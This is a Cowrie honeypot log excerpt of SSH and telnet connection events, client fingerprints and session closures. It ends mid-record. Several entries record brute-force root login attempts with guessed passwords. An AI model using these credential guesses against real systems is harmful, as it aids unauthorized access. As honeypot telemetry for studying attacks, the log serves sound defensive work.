{"eventid":"cowrie.session.connect","src_ip":"109.228.58.89","src_port":49620,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8762b9829e2","protocol":"telnet","message":"New connection: 109.228.58.89:49620 (10.17.0.5:23) [session: d8762b9829e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:42:58.618573Z"}
{"eventid":"cowrie.session.closed","duration":31.178004026412964,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:43:03.498716Z","src_ip":"109.228.58.89","session":"b20a7843595d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.623615264892578,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:43:06.251127Z","src_ip":"109.228.58.89","session":"7a28186028b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.180858612060547,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:43:12.676217Z","src_ip":"109.228.58.89","session":"2963471891e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.16728639602661,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:43:16.218611Z","src_ip":"109.228.58.89","session":"91d844a41017","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.20571208000183,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:43:19.745715Z","src_ip":"109.228.58.89","session":"b85cbb7d88eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.180505752563477,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:43:23.508920Z","src_ip":"109.228.58.89","session":"f989cde33ee3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.228.58.89","src_port":52764,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b3fabd07412","protocol":"telnet","message":"New connection: 109.228.58.89:52764 (10.17.0.5:23) [session: 8b3fabd07412]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:43:26.220855Z"}
{"eventid":"cowrie.session.closed","duration":32.27568054199219,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:43:29.626523Z","src_ip":"109.228.58.89","session":"ff3fe34ff50b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.67455792427063,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:43:30.293049Z","src_ip":"109.228.58.89","session":"d8762b9829e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":50494,"dst_ip":"159.203.135.109","dst_port":22,"session":"f47abb9fee75","protocol":"ssh","message":"New connection: 194.113.233.25:50494 (159.203.135.109:22) [session: f47abb9fee75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:43:32.590465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:43:32.595440Z","src_ip":"194.113.233.25","session":"f47abb9fee75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:43:32.688349Z","src_ip":"194.113.233.25","session":"f47abb9fee75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zazazaza","message":"login attempt [root/zazazaza] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:43:32.968064Z","src_ip":"194.113.233.25","session":"f47abb9fee75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:43:34.064768Z","src_ip":"194.113.233.25","session":"f47abb9fee75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.148.8.66","src_port":65119,"dst_ip":"159.203.135.109","dst_port":22,"session":"223a4341b92a","protocol":"ssh","message":"New connection: 119.148.8.66:65119 (159.203.135.109:22) [session: 223a4341b92a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:43:36.789484Z"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:43:37.023295Z","src_ip":"119.148.8.66","session":"223a4341b92a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.148.8.66","src_port":49785,"dst_ip":"10.17.0.5","dst_port":22,"session":"97e61a0356a0","protocol":"ssh","message":"New connection: 119.148.8.66:49785 (10.17.0.5:22) [session: 97e61a0356a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:43:41.328021Z"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:43:41.567371Z","src_ip":"119.148.8.66","session":"97e61a0356a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.240973472595215,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:43:57.461747Z","src_ip":"109.228.58.89","session":"8b3fabd07412","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":41558,"dst_ip":"159.203.135.109","dst_port":23,"session":"2bbe6fe3e73d","protocol":"telnet","message":"New connection: 69.4.83.194:41558 (159.203.135.109:23) [session: 2bbe6fe3e73d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:44:07.921380Z"}
{"eventid":"cowrie.session.closed","duration":33.93257522583008,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:44:41.853823Z","src_ip":"69.4.83.194","session":"2bbe6fe3e73d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"179.63.39.3","src_port":59214,"dst_ip":"10.17.0.5","dst_port":23,"session":"4251374f0b73","protocol":"telnet","message":"New connection: 179.63.39.3:59214 (10.17.0.5:23) [session: 4251374f0b73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:44:56.265295Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.97.62.150","src_port":51272,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf480fa19172","protocol":"ssh","message":"New connection: 23.97.62.150:51272 (159.203.135.109:22) [session: bf480fa19172]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:44:56.511274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:44:56.515293Z","src_ip":"23.97.62.150","session":"bf480fa19172","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:44:56.760138Z","src_ip":"23.97.62.150","session":"bf480fa19172","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntu2026","message":"login attempt [root/ubuntu2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:44:57.493787Z","src_ip":"23.97.62.150","session":"bf480fa19172","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:44:58.740252Z","src_ip":"23.97.62.150","session":"bf480fa19172","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.796280860900879,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:45:10.061466Z","src_ip":"179.63.39.3","session":"4251374f0b73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":52986,"dst_ip":"159.203.135.109","dst_port":23,"session":"e7298b7bd023","protocol":"telnet","message":"New connection: 69.4.83.194:52986 (159.203.135.109:23) [session: e7298b7bd023]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:47:04.444139Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.62.181.92","src_port":57984,"dst_ip":"159.203.135.109","dst_port":23,"session":"d9f3b289ed5b","protocol":"telnet","message":"New connection: 50.62.181.92:57984 (159.203.135.109:23) [session: d9f3b289ed5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:47:06.363208Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":53338,"dst_ip":"10.17.0.5","dst_port":22,"session":"7590f59d4a8e","protocol":"ssh","message":"New connection: 89.223.69.22:53338 (10.17.0.5:22) [session: 7590f59d4a8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:47:12.555024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:47:12.559327Z","src_ip":"89.223.69.22","session":"7590f59d4a8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:47:12.670435Z","src_ip":"89.223.69.22","session":"7590f59d4a8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"070787","message":"login attempt [root/070787] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:47:13.005055Z","src_ip":"89.223.69.22","session":"7590f59d4a8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:47:14.120471Z","src_ip":"89.223.69.22","session":"7590f59d4a8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.80922555923462,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:47:36.253265Z","src_ip":"69.4.83.194","session":"e7298b7bd023","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":49746,"dst_ip":"159.203.135.109","dst_port":22,"session":"4eda3e41b971","protocol":"ssh","message":"New connection: 38.93.206.2:49746 (159.203.135.109:22) [session: 4eda3e41b971]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:47:36.929895Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:47:36.934606Z","src_ip":"38.93.206.2","session":"4eda3e41b971","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:47:37.001832Z","src_ip":"38.93.206.2","session":"4eda3e41b971","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kbpfdtnf","message":"login attempt [root/kbpfdtnf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:47:37.180799Z","src_ip":"38.93.206.2","session":"4eda3e41b971","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.873194217681885,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:47:37.236274Z","src_ip":"50.62.181.92","session":"d9f3b289ed5b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:47:38.235642Z","src_ip":"38.93.206.2","session":"4eda3e41b971","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":42130,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b60cfe30536","protocol":"ssh","message":"New connection: 103.122.221.179:42130 (10.17.0.5:22) [session: 7b60cfe30536]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:47:44.387944Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:47:44.392732Z","src_ip":"103.122.221.179","session":"7b60cfe30536","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:47:44.654524Z","src_ip":"103.122.221.179","session":"7b60cfe30536","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ufhhbgjnnth","message":"login attempt [root/ufhhbgjnnth] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:47:45.440365Z","src_ip":"103.122.221.179","session":"7b60cfe30536","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:47:46.704930Z","src_ip":"103.122.221.179","session":"7b60cfe30536","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.62.181.92","src_port":44672,"dst_ip":"159.203.135.109","dst_port":23,"session":"2cc7e1aa3db5","protocol":"telnet","message":"New connection: 50.62.181.92:44672 (159.203.135.109:23) [session: 2cc7e1aa3db5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:48:29.962776Z"}
{"eventid":"cowrie.session.connect","src_ip":"118.250.3.190","src_port":34472,"dst_ip":"159.203.135.109","dst_port":23,"session":"d15ade63a785","protocol":"telnet","message":"New connection: 118.250.3.190:34472 (159.203.135.109:23) [session: d15ade63a785]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:48:51.580586Z"}
{"eventid":"cowrie.session.closed","duration":31.117101669311523,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:49:01.079742Z","src_ip":"50.62.181.92","session":"2cc7e1aa3db5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.442817687988281,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:49:05.023289Z","src_ip":"118.250.3.190","session":"d15ade63a785","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":49086,"dst_ip":"159.203.135.109","dst_port":22,"session":"0fc834df03a7","protocol":"ssh","message":"New connection: 87.251.79.125:49086 (159.203.135.109:22) [session: 0fc834df03a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:49:12.285578Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:49:12.291271Z","src_ip":"87.251.79.125","session":"0fc834df03a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 